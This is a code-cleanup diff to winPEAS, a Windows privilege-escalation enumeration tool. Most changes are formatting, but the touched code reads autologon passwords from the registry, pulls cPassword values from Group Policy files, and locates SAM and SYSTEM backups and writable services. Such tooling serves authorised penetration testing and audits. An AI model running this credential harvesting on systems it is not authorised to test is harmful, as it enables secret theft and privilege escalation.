using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Globalization;
|
using System.Globalization;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
using winPEAS.Info.FilesInfo.Office.OneDrive;
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Reflection;
|
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
|
|
||||||
@@ -25,7 +24,7 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
Type firewall = Type.GetTypeFromCLSID(new Guid("E2B3C97F-6AE1-41AC-817A-F6F92166D7DD"));
|
||||||
object firewallObj = Activator.CreateInstance(firewall);
|
object firewallObj = Activator.CreateInstance(firewall);
|
||||||
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
object types = ReflectionHelper.InvokeMemberProperty(firewallObj, "CurrentProfileTypes");
|
||||||
result = $"{(FirewallProfiles) int.Parse(types.ToString())}";
|
result = $"{(FirewallProfiles)int.Parse(types.ToString())}";
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -191,12 +191,12 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
foreach (var listener in props.GetActiveTcpListeners())
|
foreach (var listener in props.GetActiveTcpListeners())
|
||||||
{
|
{
|
||||||
bool repeated = false;
|
bool repeated = false;
|
||||||
foreach(List<string> inside_entry in results)
|
foreach (List<string> inside_entry in results)
|
||||||
{
|
{
|
||||||
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
if (inside_entry.SequenceEqual(new List<string>() { "TCP", listener.ToString(), "", "Listening" }))
|
||||||
repeated = true;
|
repeated = true;
|
||||||
}
|
}
|
||||||
if (! repeated)
|
if (!repeated)
|
||||||
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
results.Add(new List<string>() { "TCP", listener.ToString(), "", "Listening" });
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -337,7 +337,7 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
// Determine if IPv4 or IPv6.
|
// Determine if IPv4 or IPv6.
|
||||||
if (ipVersion == IPVersion.IPv4)
|
if (ipVersion == IPVersion.IPv4)
|
||||||
{
|
{
|
||||||
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
MIB_TCPTABLE_OWNER_PID tcpRecordsTable = (MIB_TCPTABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCPTABLE_OWNER_PID));
|
||||||
|
|
||||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||||
|
|
||||||
@@ -373,7 +373,7 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
}
|
}
|
||||||
else if (ipVersion == IPVersion.IPv6)
|
else if (ipVersion == IPVersion.IPv6)
|
||||||
{
|
{
|
||||||
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID) Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
MIB_TCP6TABLE_OWNER_PID tcpRecordsTable = (MIB_TCP6TABLE_OWNER_PID)Marshal.PtrToStructure(tcpTableRecordsPtr, typeof(MIB_TCP6TABLE_OWNER_PID));
|
||||||
|
|
||||||
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
IntPtr tableRowPtr = (IntPtr)((long)tcpTableRecordsPtr + Marshal.SizeOf(tcpRecordsTable.dwNumEntries));
|
||||||
|
|
||||||
@@ -461,14 +461,14 @@ namespace winPEAS.Info.NetworkInfo
|
|||||||
// Determine if IPv4 or IPv6.
|
// Determine if IPv4 or IPv6.
|
||||||
if (ipVersion == IPVersion.IPv4)
|
if (ipVersion == IPVersion.IPv4)
|
||||||
{
|
{
|
||||||
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID) Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
MIB_UDPTABLE_OWNER_PID udpRecordsTable = (MIB_UDPTABLE_OWNER_PID)Marshal.PtrToStructure(udpTableRecordsPtr, typeof(MIB_UDPTABLE_OWNER_PID));
|
||||||
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
IntPtr tableRowPtr = (IntPtr)((long)udpTableRecordsPtr + Marshal.SizeOf(udpRecordsTable.dwNumEntries));
|
||||||
|
|
||||||
// Read and parse the UDP records from the table and store them in list
|
// Read and parse the UDP records from the table and store them in list
|
||||||
// 'UdpConnection' structure type objects.
|
// 'UdpConnection' structure type objects.
|
||||||
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
for (int i = 0; i < udpRecordsTable.dwNumEntries; i++)
|
||||||
{
|
{
|
||||||
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID) Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
MIB_UDPROW_OWNER_PID udpRow = (MIB_UDPROW_OWNER_PID)Marshal.PtrToStructure(tableRowPtr, typeof(MIB_UDPROW_OWNER_PID));
|
||||||
udpTableRecords.Add(new UdpConnectionInfo(
|
udpTableRecords.Add(new UdpConnectionInfo(
|
||||||
Protocol.UDP,
|
Protocol.UDP,
|
||||||
new IPAddress(udpRow.localAddr),
|
new IPAddress(udpRow.localAddr),
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
|||||||
public struct MIB_UDP6TABLE_OWNER_PID
|
public struct MIB_UDP6TABLE_OWNER_PID
|
||||||
{
|
{
|
||||||
public uint dwNumEntries;
|
public uint dwNumEntries;
|
||||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||||
public MIB_UDP6ROW_OWNER_PID[] table;
|
public MIB_UDP6ROW_OWNER_PID[] table;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ namespace winPEAS.Info.NetworkInfo.Structs
|
|||||||
public struct MIB_UDPTABLE_OWNER_PID
|
public struct MIB_UDPTABLE_OWNER_PID
|
||||||
{
|
{
|
||||||
public uint dwNumEntries;
|
public uint dwNumEntries;
|
||||||
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct,SizeConst = 1)]
|
[MarshalAs(UnmanagedType.ByValArray, ArraySubType = UnmanagedType.Struct, SizeConst = 1)]
|
||||||
public MIB_UDPROW_OWNER_PID[] table;
|
public MIB_UDPROW_OWNER_PID[] table;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ using System.Linq;
|
|||||||
using System.Management;
|
using System.Management;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text;
|
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
@@ -33,7 +32,7 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
Proc = p,
|
Proc = p,
|
||||||
Pth = (string)mo["ExecutablePath"],
|
Pth = (string)mo["ExecutablePath"],
|
||||||
CommLine = (string)mo["CommandLine"],
|
CommLine = (string)mo["CommandLine"],
|
||||||
Owner = Helpers.HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
Owner = HandlesHelper.GetProcU(p)["name"], //Needed inside the next foreach
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (var itm in queRy)
|
foreach (var itm in queRy)
|
||||||
@@ -54,14 +53,16 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
}
|
}
|
||||||
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
if ((string.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||||
{
|
{
|
||||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||||
to_add["Name"] = itm.Proc.ProcessName;
|
{
|
||||||
to_add["ProcessID"] = itm.Proc.Id.ToString();
|
["Name"] = itm.Proc.ProcessName,
|
||||||
to_add["ExecutablePath"] = itm.Pth;
|
["ProcessID"] = itm.Proc.Id.ToString(),
|
||||||
to_add["Product"] = companyName;
|
["ExecutablePath"] = itm.Pth,
|
||||||
to_add["Owner"] = itm.Owner == null ? "" : itm.Owner;
|
["Product"] = companyName,
|
||||||
to_add["isDotNet"] = isDotNet;
|
["Owner"] = itm.Owner == null ? "" : itm.Owner,
|
||||||
to_add["CommandLine"] = itm.CommLine;
|
["isDotNet"] = isDotNet,
|
||||||
|
["CommandLine"] = itm.CommLine
|
||||||
|
};
|
||||||
f_results.Add(to_add);
|
f_results.Add(to_add);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -123,11 +124,13 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
|
|
||||||
string hName = HandlesHelper.GetObjectName(dupHandle);
|
string hName = HandlesHelper.GetObjectName(dupHandle);
|
||||||
|
|
||||||
Dictionary<string, string> to_add = new Dictionary<string, string>();
|
Dictionary<string, string> to_add = new Dictionary<string, string>
|
||||||
to_add["Handle Name"] = hName;
|
{
|
||||||
to_add["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")";
|
["Handle Name"] = hName,
|
||||||
to_add["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName;
|
["Handle"] = h.HandleValue.ToString() + "(" + typeName + ")",
|
||||||
to_add["Reason"] = handlerExp.reason;
|
["Handle Owner"] = "Pid is " + h.UniqueProcessId.ToString() + "(" + origProcInfo.name + ") with owner: " + origProcInfo.userName,
|
||||||
|
["Reason"] = handlerExp.reason
|
||||||
|
};
|
||||||
|
|
||||||
if (typeName == "process" || typeName == "thread")
|
if (typeName == "process" || typeName == "thread")
|
||||||
{
|
{
|
||||||
@@ -208,7 +211,7 @@ namespace winPEAS.Info.ProcessInfo
|
|||||||
else if (typeName == "key")
|
else if (typeName == "key")
|
||||||
{
|
{
|
||||||
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
HandlesHelper.KEY_RELEVANT_INFO kri = HandlesHelper.getKeyHandlerInfo(dupHandle);
|
||||||
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length> 0)
|
if (kri.path.Length == 0 && kri.hive != null && kri.hive.Length > 0)
|
||||||
continue;
|
continue;
|
||||||
|
|
||||||
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
RegistryKey regKey = Helpers.Registry.RegistryHelper.GetReg(kri.hive, kri.path);
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
@@ -8,10 +9,8 @@ using System.Runtime.InteropServices;
|
|||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using System.ServiceProcess;
|
using System.ServiceProcess;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
|
|
||||||
namespace winPEAS.Info.ServicesInfo
|
namespace winPEAS.Info.ServicesInfo
|
||||||
@@ -51,17 +50,18 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
|
|
||||||
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
if (string.IsNullOrEmpty(companyName) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase)))
|
||||||
{
|
{
|
||||||
Dictionary<string, string> toadd = new Dictionary<string, string>();
|
Dictionary<string, string> toadd = new Dictionary<string, string>
|
||||||
|
{
|
||||||
toadd["Name"] = GetStringOrEmpty(result["Name"]);
|
["Name"] = GetStringOrEmpty(result["Name"]),
|
||||||
toadd["DisplayName"] = GetStringOrEmpty(result["DisplayName"]);
|
["DisplayName"] = GetStringOrEmpty(result["DisplayName"]),
|
||||||
toadd["CompanyName"] = companyName;
|
["CompanyName"] = companyName,
|
||||||
toadd["State"] = GetStringOrEmpty(result["State"]);
|
["State"] = GetStringOrEmpty(result["State"]),
|
||||||
toadd["StartMode"] = GetStringOrEmpty(result["StartMode"]);
|
["StartMode"] = GetStringOrEmpty(result["StartMode"]),
|
||||||
toadd["PathName"] = GetStringOrEmpty(result["PathName"]);
|
["PathName"] = GetStringOrEmpty(result["PathName"]),
|
||||||
toadd["FilteredPath"] = binaryPath;
|
["FilteredPath"] = binaryPath,
|
||||||
toadd["isDotNet"] = isDotNet;
|
["isDotNet"] = isDotNet,
|
||||||
toadd["Description"] = GetStringOrEmpty(result["Description"]);
|
["Description"] = GetStringOrEmpty(result["Description"])
|
||||||
|
};
|
||||||
|
|
||||||
results.Add(toadd);
|
results.Add(toadd);
|
||||||
}
|
}
|
||||||
@@ -232,7 +232,7 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
if (permissions.Count > 0)
|
if (permissions.Count > 0)
|
||||||
{
|
{
|
||||||
string perms = String.Join(", ", permissions);
|
string perms = String.Join(", ", permissions);
|
||||||
if (perms.Replace("Start", "").Replace("Stop","").Length > 3) //Check if any other permissions appart from Start and Stop
|
if (perms.Replace("Start", "").Replace("Stop", "").Length > 3) //Check if any other permissions appart from Start and Stop
|
||||||
results.Add(sc.ServiceName, perms);
|
results.Add(sc.ServiceName, perms);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -249,9 +249,9 @@ namespace winPEAS.Info.ServicesInfo
|
|||||||
/////// Find Write reg. Services ////////
|
/////// Find Write reg. Services ////////
|
||||||
//////////////////////////////////////////
|
//////////////////////////////////////////
|
||||||
/// Find Services which Reg you have write or equivalent access
|
/// Find Services which Reg you have write or equivalent access
|
||||||
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string,string> NtAccountNames)
|
public static List<Dictionary<string, string>> GetWriteServiceRegs(Dictionary<string, string> NtAccountNames)
|
||||||
{
|
{
|
||||||
List<Dictionary<string,string>> results = new List<Dictionary<string, string>>();
|
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"system\currentcontrolset\services");
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
using System.Collections.Generic;
|
using Microsoft.Win32;
|
||||||
using Microsoft.Win32;
|
using System.Collections.Generic;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ using System.IO;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.AccessControl;
|
using System.Security.AccessControl;
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using System.Security.Principal;
|
|
||||||
|
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo.NamedPipes
|
namespace winPEAS.Info.SystemInfo.NamedPipes
|
||||||
@@ -51,7 +50,7 @@ namespace winPEAS.Info.SystemInfo.NamedPipes
|
|||||||
{
|
{
|
||||||
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
var security = File.GetAccessControl($"\\\\.\\pipe\\{namedPipe}");
|
||||||
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);
|
||||||
List<string> currentUserPermsList = winPEAS.Helpers.PermissionsHelper.GetMyPermissionsF(security, winPEAS.Checks.Checks.CurrentUserSiDs);
|
List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);
|
||||||
currentUserPerms = string.Join(", ", currentUserPermsList);
|
currentUserPerms = string.Join(", ", currentUserPermsList);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics.Eventing.Reader;
|
using System.Diagnostics.Eventing.Reader;
|
||||||
using System.Text.RegularExpressions;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ using System.Net.NetworkInformation;
|
|||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo
|
namespace winPEAS.Info.SystemInfo
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||||
@@ -17,7 +15,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
|||||||
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
||||||
{
|
{
|
||||||
PathExclusions = new List<string>();
|
PathExclusions = new List<string>();
|
||||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths");
|
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||||
if (pathExclusionData != null)
|
if (pathExclusionData != null)
|
||||||
{
|
{
|
||||||
foreach (var kvp in pathExclusionData)
|
foreach (var kvp in pathExclusionData)
|
||||||
|
|||||||
@@ -1,10 +1,4 @@
|
|||||||
using System;
|
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
|
||||||
{
|
{
|
||||||
class WindowsDefenderSettingsInfo
|
class WindowsDefenderSettingsInfo
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using winPEAS.Helpers;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Classes;
|
using winPEAS.Native.Classes;
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Net.NetworkInformation;
|
using System.Net.NetworkInformation;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text.RegularExpressions;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
|
|
||||||
namespace winPEAS.Info.UserInfo
|
namespace winPEAS.Info.UserInfo
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ using System.Collections.Generic;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Cryptography.X509Certificates;
|
using System.Security.Cryptography.X509Certificates;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using winPEAS.Helpers;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Structs;
|
using winPEAS.Native.Structs;
|
||||||
|
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
|
|||||||
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||||
strBuilder.EnsureCapacity(luidNameLen + 1);
|
strBuilder.EnsureCapacity(luidNameLen + 1);
|
||||||
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||||
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}";
|
results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
|
||||||
Marshal.FreeHGlobal(luidPointer);
|
Marshal.FreeHGlobal(luidPointer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ using System.Management;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Structs;
|
using winPEAS.Native.Structs;
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ using System.Windows.Forms;
|
|||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.Info.UserInfo.SAM;
|
using winPEAS.Info.UserInfo.SAM;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
@@ -251,14 +250,15 @@ namespace winPEAS.Info.UserInfo
|
|||||||
|
|
||||||
public static Dictionary<string, string> GetAutoLogon()
|
public static Dictionary<string, string> GetAutoLogon()
|
||||||
{
|
{
|
||||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
Dictionary<string, string> results = new Dictionary<string, string>
|
||||||
|
{
|
||||||
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName");
|
["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
|
||||||
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName");
|
["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
|
||||||
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword");
|
["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
|
||||||
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName");
|
["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
|
||||||
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName");
|
["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
|
||||||
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword");
|
["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
|
||||||
|
};
|
||||||
return results;
|
return results;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -281,7 +281,7 @@ namespace winPEAS.Info.UserInfo
|
|||||||
c = $"{Clipboard.GetFileDropList()}";
|
c = $"{Clipboard.GetFileDropList()}";
|
||||||
|
|
||||||
//else if (Clipboard.ContainsImage()) //No system.Drwing import
|
//else if (Clipboard.ContainsImage()) //No system.Drwing import
|
||||||
//c = string.Format("{0}", Clipboard.GetImage());
|
//c = string.Format("{0}", Clipboard.GetImage());
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||||
|
|
||||||
if (!allUsers.Contains("ProgramData"))
|
if (!allUsers.Contains("ProgramData"))
|
||||||
{
|
{
|
||||||
@@ -225,11 +225,13 @@ namespace winPEAS.InterestingFiles
|
|||||||
Changed = "[BLANK]";
|
Changed = "[BLANK]";
|
||||||
}
|
}
|
||||||
|
|
||||||
results[file] = new Dictionary<string, string>();
|
results[file] = new Dictionary<string, string>
|
||||||
results[file]["UserName"] = UserName;
|
{
|
||||||
results[file]["NewName"] = NewName;
|
["UserName"] = UserName,
|
||||||
results[file]["cPassword"] = cPassword;
|
["NewName"] = NewName,
|
||||||
results[file]["Changed"] = Changed;
|
["cPassword"] = cPassword,
|
||||||
|
["Changed"] = Changed
|
||||||
|
};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
||||||
};
|
};
|
||||||
|
|
||||||
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation)));
|
results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
||||||
int lastDays = 30;
|
int lastDays = 30;
|
||||||
|
|
||||||
var startTime = System.DateTime.Now.AddDays(-lastDays);
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
// Shell COM object GUID
|
// Shell COM object GUID
|
||||||
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
||||||
|
